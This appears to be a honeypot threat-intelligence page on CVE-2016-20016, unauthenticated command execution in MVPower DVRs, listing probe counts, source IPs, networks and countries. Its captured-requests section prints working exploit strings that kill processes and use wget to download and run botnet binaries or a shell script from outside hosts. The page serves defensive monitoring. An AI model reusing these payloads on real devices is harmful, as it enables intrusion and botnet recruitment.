CVE-2016-20016: MVPower DVR JAWS web server /shell unauthenticated command execution
HoneyLabs honeypots recorded 27 probes matching CVE-2016-20016 from 7 distinct source IP addresses in the last 7 days. Severity is rated critical.
Request paths that identify it
- /shell?{{*}};
- /shell?{{*}}%3B{{*}}
Addresses probing it
| Source IP | Probes | Network | Country |
|---|---|---|---|
| 94.154.43.12 | 17 | Storm Industries LLC | The Netherlands |
| 176.65.139.131 | 5 | Storm Industries LLC | Germany |
| 108.165.95.17 | 1 | Nodestop LLC | United States |
| 119.73.23.93 | 1 | IX Peering for Mobilink and Link Direct International. | Pakistan |
| 137.59.230.21 | 1 | Cyber Internet Services (Pvt) Ltd. | Pakistan |
| 153.117.27.24 | 1 | Cyber Internet Services (Pvt) Ltd. | Pakistan |
| 39.34.134.128 | 1 | Connect Communications | Pakistan |
Networks it comes from
| ASN | Organisation | Probes | Source IPs |
|---|---|---|---|
| AS219502 | Storm Industries LLC | 22 | 2 |
| AS9541 | Cyber Internet Services (Pvt) Ltd. | 2 | 2 |
| AS132165 | Connect Communications | 1 | 1 |
| AS400536 | Nodestop LLC | 1 | 1 |
| AS58470 | IX Peering for Mobilink and Link Direct International. | 1 | 1 |
Where it comes from
| Country | Probes |
|---|---|
| The Netherlands | 17 |
| Germany | 5 |
| Pakistan | 4 |
| United States | 1 |
Captured requests
- /shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/bash;cd+/tmp;rm+-f+arm7+arm4;arch=$(uname+-m);case+$arch+in+armv7l)+file=akbarniga.armv7l;;+armv6l)+file=akbarn…
- /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/176.65.139.131/bins/kushnet.arm7;chmod+777+kushnet.arm7;./kushnet.arm7+routers;wget+http:/\/176.65.139.131/bins/kushnet.arm4l;chmod+777+kushnet.arm4l;./kushnet.…
- /shell?cd%20/tmp;wget+-qO-+http%3A%2F%2F31.56.209.86%2Fdvr.sh+%7C+sh;
- /shell?cd+/tmp;rm+akbarniga.arm+akbarniga.arm7;wget+http:/\/play.nopixel-rp.ir/akbarniga.arm7;chmod+777+akbarniga.arm7;./akbarniga.arm7+jews;wget+http:/\/play.nopixel-rp.ir/arm;chmod+777+akbarniga.arm…
HTTP client fingerprints
- b11cun030_00040012_13ee3d34
- b11cun070_0014001f_85240426
- b11cun060_0010001f_9c45cb0a
- b11cun040_00040015_f0265a0e
CVE report
CVE report
Open a specific CVE from the CVE tracker.